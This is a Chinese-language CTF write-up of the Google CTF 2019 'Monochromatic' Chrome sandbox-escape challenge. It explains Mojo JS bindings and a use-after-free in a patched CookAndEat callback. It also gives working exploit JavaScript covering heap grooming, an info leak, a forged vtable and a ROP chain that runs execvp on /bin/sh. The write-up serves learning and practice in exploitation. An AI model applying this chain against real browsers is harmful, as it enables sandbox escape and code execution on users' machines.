沙箱逃逸之google ctf 2019 Monochromatic writeup

2022-12-31 本文阅读量

这是入门chrome沙箱逃逸的第二篇文章,第一篇文章分析了一道题目,这里再来看19年的google ctf的题目,进一步掌握沙箱逃逸的漏洞原理。

基础知识–JS Bindings Api

根据官方文章Mojo的描述我们可知mojo的架构如下图所示,主要包含的功能包括:

  • Mojo CoreMojo功能的核心实现;
  • Mojo System API(c)Mojo Core功能提供服务的接口,它提供message pipesdata pipes以及shared buffers等功能的api接口;
  • Higher-Level System APIs:高级语言相关的抽象接口,将上面一层的接口(Mojo System API)根据不同语言的特性进行进一步封装实现,目前支持的语言包括:C++JS以及Java
  • Bindings APIs:用mojom Interface Definition Language (IDL) 来生成的各类接口实现,是最终用来绑定接口的api实现,是上面一层接口的进一步实现,也是大多数用户开发使用的api,目前支持的语言包括:C++JS以及Java

mojo_overview

之前看的mojobindings api都是使用的c++来实现renderbrowser之间的通信。根据上面的描述可知,事实上我们也可以使用js bindings api来实现通信,本小节主要是简单介绍如何使用js bindings api来实现mojo通信,参考的主要文章是Mojo JavaScript Bindings API

首先定义.mojom文件:

module test.echo.mojom;

interface Echo {
  EchoInteger(int32 value) => (int32 result);
};

然后在BUILD.gn中加入编译生成binding的目标:

import("//mojo/public/tools/bindings/mojom.gni")

mojom("interfaces") {
  sources = [
    "echo.mojom",
  ]
}

上面的bindings会被编译生成以下内容(假设interface的名字是foo):

  • foo_jsjs bindings,是编译时的依赖;
  • foo_js_data_depsjs bindings,是运行时的依赖。

编译的命令是:

ninja -C out/r services/echo/public/interfaces:interfaces_js

会生成一些文件,其中和js bindings相关的文件是:

out/gen/services/echo/public/interfaces/echo.mojom.js

到此使用echo.mojom的前奏已经完成了,为了在代码中使用该接口,还需要在代码中include两个文件:mojo_bindings.js以及echo.mojom.js,如下所示:

<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>

var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
// ...

</script>

最后就是bindings api的实现,和c++ bindings api一样,整个通信的实现需要包括:

  • mojo.InterfacePtrInfo 以及mojo.InterfaceRequest 来封装message pipe的两端,前者代表使用的客户端,后者表示提供的服务端;
  • 对于mojom接口Foo,会生成一个FooPtr类,它是InterfacePtreInfo实例,用来提供 InterfacePtrInfo类中的方法并发送接口;
  • mojo.Binding 拥有InterfaceRequest,用来监听message pip并且分发接收到的消息给用户定义的实现。

最终ehco.mojom的实现如下,其中EchoImpl是服务端用户定义的实现;echoServicePtrmojo.InterfacePtrInfo的实例;echoServiceRequest mojo.InterfaceRequest的实例,最终可以通过echoServicePtr来发送对应的消息(ecchoInteger),由EchoImpl来响应消息。

<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>

function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
  return Promise.resolve({result: value});
};

var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(test.echo.mojom.Echo,
                                          new EchoImpl(),
                                          echoServiceRequest);
echoServicePtr.echoInteger({value: 123}).then(function(response) {
  console.log('The result is ' + response.value);
});

</script>

描述

题目附件下载以后,目录如下所示。

$ ls
Dockerfile       build_docker.sh  chrome_diff.diff flag             interfaces       note             run_docker.sh    src

interfacemojo js实现所需要的依赖,chrome_diff.diff是出题人对于chromepatchsrc中包含chrome文件以及启动服务的service.py

service.py中包含启动chrome的命令,--enable-blink-features=MojoJS表示开启了MojoJS接口,可以通过js来直接使用mojo

  args = [
    './binary/chrome',
    '--enable-blink-features=MojoJS',
    '--disable-gpu',
    '--headless',
    '--repl', #this flag makes chrome not to exit right after the webpage is loaded, this flag is not a part of the CTF challenge
    server
  ]

重点要分析的是chrome_diff.diff

分析

diff 分析

可以看到mojo提供了一个BeingCreatorInterface接口,主要功能是:

  • CreatePerson函数返回blink.mojom.PersonInterface接口;
  • CreateDog函数返回blink.mojom.DogInterface接口;
  • CreateCat函数返回blink.mojom.CatInterface接口。
diff --git a/content/public/app/content_browser_manifest.cc b/content/public/app/content_browser_manifest.cc
index a1fa37e05edf..a1034e1b1a40 100644
--- a/content/public/app/content_browser_manifest.cc
+++ b/content/public/app/content_browser_manifest.cc
@@ -197,6 +197,7 @@ const service_manager::Manifest& GetContentBrowserManifest() {
           .ExposeInterfaceFilterCapability_Deprecated(
               "navigation:frame", "renderer",
               std::set<const char*>{
+                  "blink.mojom.BeingCreatorInterface",
                   "autofill.mojom.AutofillDriver",
                   
...
+import "url/mojom/origin.mojom";
+import "third_party/blink/public/mojom/CTF/person_interface.mojom";
+import "third_party/blink/public/mojom/CTF/dog_interface.mojom";
+import "third_party/blink/public/mojom/CTF/cat_interface.mojom";
+
+interface BeingCreatorInterface {
+  CreatePerson() => (blink.mojom.PersonInterface? person);
+  CreateDog() => (blink.mojom.DogInterface? dog);
+  CreateCat() => (blink.mojom.CatInterface? cat);
+};

三个接口的实现基本上都是一致,以PersonInterface为例进行说明:

  • GetName返回实例的name
  • SetName设置实例的name
  • GetAge返回实例的age
  • SetAge设置实例的age
  • GetWeight返回实例的weight
  • SetWeight设置实例的weight
  • CookAndEat:在下面单独进行说明。
+interface PersonInterface {
+  GetName() => (string name);
+  SetName(string new_name) => ();
+  GetAge() => (uint64 age);
+  SetAge(uint64 new_age) => ();
+  GetWeight() => (uint64 weight);
+  SetWeight(uint64 new_weight) => ();
+  CookAndEat(blink.mojom.FoodInterface food) => ();
+};

每个对象中包含weightage以及name三个成员变量,分别对应至Set*以及Get*函数;需要关注的一点是各个成员变量的位置是不一样的,这一点在后续的利用过程中会使用的到。

+class CONTENT_EXPORT CatInterfaceImpl
+    : public blink::mojom::CatInterface {
+
+  std::string name;
+  uint64_t age;
+  uint64_t weight;


+class CONTENT_EXPORT DogInterfaceImpl
+    : public blink::mojom::DogInterface {
+
+  uint64_t weight;
+  std::string name;
+  uint64_t age;


+class CONTENT_EXPORT PersonInterfaceImpl
+    : public blink::mojom::PersonInterface {
+
+  uint64_t age;
+  uint64_t weight;
+  std::string name;

再来好好看看CookAndEat函数,可以看到它会先获取FoodInterface,然后调用FoodInterface->GetWeight函数,并调用base::BindOnce函数将PersonInterfaceImpl::AddWeight函数作为回调函数传入到FoodInterface->GetWeight函数当中。

+void PersonInterfaceImpl::CookAndEat(blink::mojom::FoodInterfacePtr foodPtr,
+                                     CookAndEatCallback callback) {
+  blink::mojom::FoodInterface *raw_food = foodPtr.get();
+
+  raw_food->GetWeight(base::BindOnce(&PersonInterfaceImpl::AddWeight,
+                                     base::Unretained(this),
+                                     std::move(callback), std::move(foodPtr)));
+}

PersonInterfaceImpl::AddWeight函数声明如下,可以看到调用该函数的时候传入的参数依次是base::Unretained(this)std::move(callback)以及std::move(foodPtr),再对照下面的参数列表,可以看到少了一个参数weight_,按照调用约定,该参数会在FoodInterface->GetWeight函数执行完成后,返回值作为参数weight_,再调用AddWeight函数。

+void PersonInterfaceImpl::AddWeight(
+    PersonInterfaceImpl::CookAndEatCallback callback,
+    blink::mojom::FoodInterfacePtr foodPtr, uint64_t weight_)

看完了整个diff文件,发现文件只定义了FoodInterface的接口,并没有对应函数的实现,这是何意?

+module blink.mojom;
+
+import "url/mojom/origin.mojom";
+
+interface FoodInterface {
+  GetDescription() => (string description);
+  SetDescription(string new_description) => ();
+  GetWeight() => (uint64 weight);
+  SetWeight(uint64 new_weight) => ();
+};

这说明出题人没有实现该接口,需要我们在render进程实现该接口,并由browser进程调用FoodInterfaceGetWeight函数。相当于render进程给browser进程提供服务,实现两个进程之间的通信。

到这里diff文件中所实现的mojo的功能大致就分析清楚了,主要是实现了dogcat以及person三个类,这三个类中每个类都有成员变量weightname以及age,并有设置及获取这三个成员变量的函数,这三个成员变量声明的顺序不一样;三个类中还有一个CookAndEat函数,会将自己的AddWeight函数作为回调函数,然后调用FoodInterface::GetWeight函数,FoodInterfacediff中没有实现。

漏洞分析

上面的diff文件分析了半天,漏洞究竟在哪里呢?

漏洞出现在CookAndEat函数的实现中,还是以Person对象为例来进行说明。

CookAndEat函数如下所示,它会先获取FoodInterface接口,然后调用该接口的GetWeight函数。同时会将PersonInterfaceImpl::AddWeight作为回调函数传入给GetWeight函数,AddWeight函数的参数base::Unretained(this)std::move(callback)以及std::move(foodPtr),少了参数weight_,该参数会在raw_food->GetWeight函数执行完成后,返回值作为weight_并最终调用AddWeight函数。

+void PersonInterfaceImpl::AddWeight(
+    PersonInterfaceImpl::CookAndEatCallback callback,
+    blink::mojom::FoodInterfacePtr foodPtr, uint64_t weight_) {
+  weight += weight_;
+  std::move(callback).Run();
+}
...
+void PersonInterfaceImpl::CookAndEat(blink::mojom::FoodInterfacePtr foodPtr,
+                                     CookAndEatCallback callback) {
+  blink::mojom::FoodInterface *raw_food = foodPtr.get();
+
+  raw_food->GetWeight(base::BindOnce(&PersonInterfaceImpl::AddWeight,
+                                     base::Unretained(this),
+                                     std::move(callback), std::move(foodPtr)));
+}

关键点在于raw_food->GetWeight函数没有实现,可以由我们来实现FoodInterface接口中进行实现。从将base::Unretained(this)参数作为this指针传递给AddWeight函数,再到AddWeight函数运行。从传递到最终的运行,这个过程之中还包含了raw_food->GetWeight函数的运行,而且raw_food->GetWeight函数我们可控,如果在raw_food->GetWeight函数中,我们将base::Unretained(this)所对应的Person对象给释放掉,那么最终调用AddWeight函数进行weight += weight_的实现时就形成了uaf漏洞。

经过上面的分析可以知道漏洞本质是uaf漏洞,效果是将接口对象中的weight字段所对应的位置加上给定的任意值。如果我们在raw_food->GetWeight函数中将原来传入的对象(如Person)给释放掉,同时申请另外一个类型的对象(如Dog),因为Person字段的weight字段是Dog对象的name字段,最终会将Dogname字段加上weight_。从某种意义上来说,这也算是类型混淆漏洞。

漏洞利用

我们现在具备的能力是利用类型混淆漏洞将对象中某个对象的某个字段加上任意可控的值,如何操作才能实现利用呢?

首先要搞清楚三个类型对象的内存布局,namestd::string,该类的内存布局如下。

 struct __long
{
    pointer   __data_;
    size_type __size_;
    size_type __cap_;
};

给三个类型的对象接口第一个字段再加上虚表指针,三个对象接口的内存布局如下所示:

class CONTENT_EXPORT CatInterfaceImpl:

	pointer vtable;
  pointer   __data_;
  size_type __size_;
  size_type __cap_;
  uint64_t age;
  uint64_t weight;


class CONTENT_EXPORT DogInterfaceImpl:

	pointer vtable;
  uint64_t weight;
  pointer   __data_;
  size_type __size_;
  size_type __cap_;
  uint64_t age;


class CONTENT_EXPORT PersonInterfaceImpl:

	pointer vtable;
  uint64_t age;
  uint64_t weight;
  pointer   __data_;
  size_type __size_;
  size_type __cap_;

我们可以利用DogCat类型混淆,过程是:先申请的是Dog,调用CookAndEat函数,在raw_food->GetWeight中释放掉Dog对象,申请Cat对象占用该内存,最终在Dogweight+=weight_的时候,实际会将Cat对象的__data__+=weight_。如果控制得当的话,可以使得__data__字段和另一个Cat指向同一片内存区域,这样就构造出了overlap内存,后续利用就很好方便了。

利用的思路是上面这个,接下来一步一步说明利用的过程。

首先是FoodInterfaceImpl的实现,由前面的基础知识可以知道可以使用js bindings api来实现。

function FoodInterfaceImpl() {}
FoodInterfaceImpl.prototype.getWeight = async function() {
    if(!this.weight) {
        return {'weight': 0x101};
    }
    return {'weight': this.weight};
};

FoodInterfaceImpl.prototype.setWeight = async function(weight) {
    this.weight = weight;
    return;
};

FoodInterfaceImpl.prototype.setDescription = async function(desc) {
    this.desc = desc;
    return ;
};

FoodInterfaceImpl.prototype.getDescription = async function() {
    if (!this.description) {
        return {'description': 'null'};
    }
    return {'description': this.description};
};

还要搞清楚的是对象类型的大小,可以断点断在CreatePersonCreateDog以及CreateCat上,最终可以确定接口内存的大小为0x40

首先是申请8Dog,对应name申请的大小也是0x40

    let dogCount = 8;
    let catCount = 0x10;

    // create 8 dogs with the same size of name
    let dogPtrArr = [];
    let catPtrArr = [];
    for (let i=0; i<dogCount; i++) {
        let dogPtr = (await mojoPtr.createDog()).dog;
        await dogPtr.setName('a'.repeat(stringSize))
        dogPtrArr.push(dogPtr);
    }

然后绑定FoodInterface的实现,用于后续触发漏洞。

 		// get the FoodInterface in render process
    var foodInterfacePtr = new blink.mojom.FoodInterfacePtr();
    var foodInterfaceRequest = mojo.makeRequest(foodInterfacePtr);
    var foodInterfaceBinding = new mojo.Binding(
        blink.mojom.FoodInterface,
        new FoodInterfaceImpl(),
        foodInterfaceRequest);

接着调用对最后一个Dog对象调用cookAndEat函数。

    // trigger uaf vuln
    dogPtrArr[dogPtrArr.length-1].cookAndEat(foodInterfacePtr)

来看关键的cookAndEat函数的实现,如下所示。在最开始释放掉最后一个Dog对象(利用ptr.reset()函数),然后对所有的Dog对象的name字段分配更大的空间,以空余出0x40大小的hole来布置堆风水;申请多个Cat对象来填充这些释放的内存,最后再为这些Cat分配与对象大小相同的name

最终达到的效果是某个Cat对象占用了我们释放的Dog内存,同时它的name指针加上0x40刚好是另一个Cat对象的name指针。

因为漏洞触发Cat对象(被释放的Dog对象)的name指针(Dog字段的weight字段)加上FoodInterfaceImpl.prototype.getWeight返回的0x40,指向了下一片内存,刚好是另一个Cat对象name字段,形成了重叠的内存块。

   	// the getWeight of FoodInterfaceImpl, which  forms a uaf vuln.
    FoodInterfaceImpl.prototype.getWeight = async function() {

        // release the last dogPtr
        dogPtrArr.pop().ptr.reset();

        // change the dog's name size, which will leave the a lot of hole (size 0x40)
        for(let i=0; i<dogPtrArr.length; i++) {
            await dogPtrArr[i].setName('a'.repeat(stringSize*100));
        }

        // create cat to fill the hole
        for(let i=0; i<catCount; i++) {
            let catPtr = (await mojoPtr.createCat()).cat;
            catPtrArr.push(catPtr);
        }

        // create cat name(0x40) to fill the hole, there will be two Neighboring name
        for(let i=0; i<catCount; i++) {
            await catPtrArr[i].setName(id2Str(i, stringSize));
        }

        // return 0x40 will change one cat's name to the Neighboring cat's name, which will form a overlap chunk.
        return {'weight': 0x40};
    };

接着就遍历Cat对象,去寻找被修改了name字段的Cat,并找出name字段相同的另一个Cat,经过下面的代码后,evilvictimname字段相同。

    // find the evil cat and victim cat
    let evilIdx = -1;
    let evil = undefined;
    for(let i =0; i<catCount; i++){
        let name = (await catPtrArr[i].getName()).name;
        if (name != id2Str(i, stringSize)){
            evilIdx = i;
            evil = catPtrArr[i];
            break;
        }
    }

    if(evilIdx == -1) {
        console.log("[-] can't find overlap cat name")
        return;
    }
    let name = (await evil.getName()).name;
    let victimIdx = str2Id(name);
    let victim = catPtrArr[victimIdx];
    if (victimIdx<0 || victimIdx>=catCount) {
        console.log("[-] can't find overlap cat name")
        return;
    }
    console.log("[+] evil cat idx: "+evilIdx);
    console.log("[+] victim cat idx: "+victimIdx);
    console.log("[+] evil cat name: "+name);

然后我们释放掉victimname字段,此时evilname指针就成了悬空指针,再紧接着申请另一个对象(Person),这样就形成了uaf漏洞,可以通过evilname指针泄露虚表指针以及堆指针,从而后续劫持控制流。

		// change the victim cat's name, now the evil cat name pointer will be freed
    victim.setName('a'.repeat(stringSize*200));

    let ropBufferSize = 0x100;

    // create a personPtr, now the evil cat's name pointer point to the personPtr structure
    let triggerPersonPtr = (await mojoPtr.createPerson()).person;
    await triggerPersonPtr.setName('A'.repeat(ropBufferSize));

    // leak the data
    let leakData = (await evil.getName()).name;
    let personVtableAddr = getUint64(leakData, 0);
    let leakHeapAddr = getUint64(leakData, 0x18);

    let baseAddr = personVtableAddr - 0x8fc19c0n;
    let highAddr = baseAddr&BigInt(0xf00000000000)
    let lowAddr = baseAddr&BigInt(0x000000000fff)
    if((highAddr != BigInt(0x500000000000)) && lowAddr !=0 ) {
        console.log("[-] leak addr failed")
        return;
    }
    console.log("[+] chrome base addr: "+hex(baseAddr));
    console.log("[+] leak heap addr: "+hex(leakHeapAddr));

最后构造ROP,伪造虚表指针,触发虚表函数。ROP这里的构造可以提一句的是,可以利用execvp函数来最终执行可执行程序,这样就不需要构造rsi以及rdx寄存器来,可以用命令objdump -d -j '.plt' ./src/binary/chrome | grep execvp来查看偏移。

 // build rop chain
    let binshAddr = leakHeapAddr+0x68n;
    let ropBuffer = new ArrayBuffer(ropBufferSize);
    let ropData8 = new Uint8Array(ropBuffer).fill(0x41);
    ropDataView = new DataView(ropBuffer);

    // person getName's offset in vtable is 0x10;
    ropDataView.setBigInt64(0x10,xchgRaxRsp,true);

    ropDataView.setBigInt64(0x0, popRsi, true);
    ropDataView.setBigInt64(0x8, popRsi, true);

    ropDataView.setBigInt64(0x18, popRdi, true);
    ropDataView.setBigInt64(0x20, binshAddr, true);
    ropDataView.setBigInt64(0x28, popRsi, true);
    ropDataView.setBigInt64(0x30, 0n, true);
    ropDataView.setBigInt64(0x38, 0n, true);
    ropDataView.setBigInt64(0x40, popRdx, true);
    ropDataView.setBigInt64(0x48, 0n, true);
    ropDataView.setBigInt64(0x50, popRdx, true);
    ropDataView.setBigInt64(0x58, 0n, true);
    ropDataView.setBigInt64(0x60, execvp, true);
    ropDataView.setBigInt64(0x68,0x68732f6e69622fn,true);  // /bin/sh
    // ropDataView.setBigInt64(0x68, 0x6f6e672f6e69622fn,true);  // /bin/gno
    // ropDataView.setBigInt64(0x70, 0x75636c61632d656dn,true);  // me-calcu
    // ropDataView.setBigInt64(0x78, 0x726f74616cn,true);  // lator\x00

    let ropStr = arr2Str(ropData8);

    // set fake vtable here
    await triggerPersonPtr.setName(ropStr);

    // change triggerPersonPtr's vtable to fake vtable address
    evilData = setUint64(leakData, 0, leakHeapAddr);
    await evil.setName(evilData);

    //  trigger rop
    console.log((await triggerPersonPtr.getName()).name);

成功弹出计算器。

poc

要提一点的是在泄露虚表的时候,可能是因为mojo的编码问题,直接读出来的地址不对,需要对数据进行编码,加上下面的代码就可以了,原因我现在还搞不懂,先放着。

mojo.internal.Buffer.prototype.setUint64 = function(offset, value) {
    value = BigInt(value);
    let multipliter = 0x100000000n;
    var hi = Number(value / multipliter);
    var low = Number(value % multipliter);
    this.dataView.setInt32(offset, low, true);
    this.dataView.setInt32(offset + 4, hi, true);
    return;
};

mojo.internal.encodeUtf8String = function(str, outputBuffer) {
    const utf8Buffer = str.split('').map(char => char.charCodeAt(0));
    if (outputBuffer.length < utf8Buffer.length)
        throw new Error("Buffer too small for encodeUtf8String");
    outputBuffer.set(utf8Buffer);
    return utf8Buffer.length;
}

mojo.internal.decodeUtf8String = function(buffer) {
    return Array.from(new Uint8Array(buffer.buffer, buffer.byteOffset,
        buffer.byteLength)).
        map(code => String.fromCharCode(code)).join('');
}

总结

通过解决这题,理解了在render端实现mojo功能(如何使用js bindings api),同时进一步理解了mojo相关的uaf漏洞的原理。

本文首发于奇安信攻防社区

参考